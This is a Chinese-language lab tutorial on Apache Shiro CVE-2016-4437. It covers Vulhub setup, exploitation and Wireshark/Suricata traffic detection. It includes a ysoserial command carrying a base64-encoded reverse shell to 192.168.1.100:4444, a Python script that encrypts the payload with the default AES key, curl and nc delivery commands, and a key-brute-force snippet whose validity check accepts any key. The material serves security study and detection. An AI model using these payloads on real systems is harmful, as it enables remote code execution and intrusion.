当前位置：首页 > news >正文

Shiro反序列化漏洞实战：从CVE-2016-4437复现到Wireshark流量分析（附靶场搭建）

news 2026/8/24 4:47:53

Shiro反序列化漏洞深度实战：从环境搭建到流量特征解析

在安全研究领域，Apache Shiro框架的反序列化漏洞一直是渗透测试中的经典案例。本文将带您从零开始构建完整的实验环境，逐步拆解CVE-2016-4437漏洞的利用过程，并通过网络流量分析揭示攻击特征。不同于简单的漏洞复现教程，我们更关注实战中的技术细节和排错经验。

1. 实验环境构建与漏洞原理

搭建可靠的实验环境是漏洞研究的第一步。我们选择使用Vulhub作为基础环境，它不仅预置了存在漏洞的Shiro 1.2.4版本，还集成了完整的依赖组件。

1.1 Vulhub环境配置

首先确保系统已安装Docker和docker-compose：

# 检查Docker版本 docker --version # 检查docker-compose版本 docker-compose --version

从Vulhub官方仓库获取Shiro漏洞环境：

git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d

环境启动后，访问http://your-ip:8080将看到Shiro的示例页面。这个环境已经配置了以下关键参数：

Shiro版本：1.2.4
默认AES密钥：kPH+bIxk5D2deZiIxcaaaA==
示例登录账号：admin/vulhub

注意：实验结束后务必执行docker-compose down关闭环境，避免不必要的安全风险。

1.2 漏洞核心机制解析

Shiro的"记住我"功能通过Cookie中的rememberMe字段实现，其处理流程存在致命缺陷：

客户端设置rememberMe值
服务端接收后执行：
- Base64解码
- AES解密（使用硬编码密钥）
- 反序列化操作

漏洞的关键在于：

硬编码密钥：默认AES密钥在代码中固定不变
无签名验证：解密后直接反序列化，缺乏完整性校验
Java原生反序列化：直接调用ObjectInputStream

这种设计使得攻击者一旦获取AES密钥，就能构造恶意的序列化对象，实现远程代码执行。

2. 漏洞利用实战演练

2.1 利用工具准备

我们使用ysoserial工具生成恶意序列化数据，配合Python脚本完成完整攻击链：

# 生成反弹shell的序列化payload java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

将生成的payload.ser通过以下Python脚本处理：

import sys import base64 import uuid from Crypto.Cipher import AES def encrypt(key, payload): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(pad(payload))) if __name__ == '__main__': key = 'kPH+bIxk5D2deZiIxcaaaA==' with open(sys.argv[1], 'rb') as f: payload = f.read() print(encrypt(key, payload).decode())

执行脚本生成最终的rememberMe值：

python shiro_poc.py payload.ser > rememberme.txt

2.2 攻击执行与验证

使用curl发送恶意Cookie：

curl -H "Cookie: rememberMe=$(cat rememberme.txt)" http://target:8080

成功执行后，将在监听端收到反弹shell：

nc -lvnp 4444

攻击成功的关键指标：

响应中包含base64编码数据
HTTP状态码异常（非200/302）
服务器日志出现Java异常堆栈

3. 网络流量深度分析

3.1 Wireshark抓包配置

为确保捕获完整攻击流量，建议采用以下Wireshark过滤器：

tcp.port == 8080 || tcp.port == 4444

关键捕获点设置：

捕获接口：选择与Docker虚拟网络对应的接口
缓冲大小：建议设置为100MB以上
捕获过滤器：host <target_ip>

3.2 攻击流量特征识别

通过分析捕获的数据包，我们可以提取以下关键特征：

流量方向	特征描述	风险等级
请求包	Cookie头包含超长rememberMe值	高危
请求包	rememberMe值符合AES加密特征	高危
响应包	包含异常base64数据段	中危
响应包	Content-Type与正常响应不一致	低危

典型的攻击请求头示例：

GET / HTTP/1.1 Host: target:8080 Cookie: rememberMe=AgAAABRjHhQrHhQrHhQrHhQrHhQrHhQr... User-Agent: curl/7.68.0 Accept: */*

3.3 防御视角的流量监测

基于流量特征，可以构建以下Suricata检测规则：

alert http $HOME_NET any -> $EXTERNAL_NET any ( msg:"SHIRO - Possible CVE-2016-4437 Exploit Attempt"; flow:to_server; http.cookie; content:"rememberMe="; depth:11; content:!"user="; distance:0; pcre:"/rememberMe=[A-Za-z0-9+\/=]{100,}/"; classtype:web-application-attack; sid:1000001; rev:1; )

4. 进阶利用与防御加固

4.1 密钥爆破技术

当目标系统使用非默认密钥时，可以采用以下方法爆破：

收集常见密钥列表（如Shiro官方示例密钥）
使用以下Python脚本测试密钥有效性：

def test_key(key, payload): try: decoded = base64.b64decode(payload) iv = decoded[:16] cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) decrypted = cipher.decrypt(decoded[16:]) return True except: return False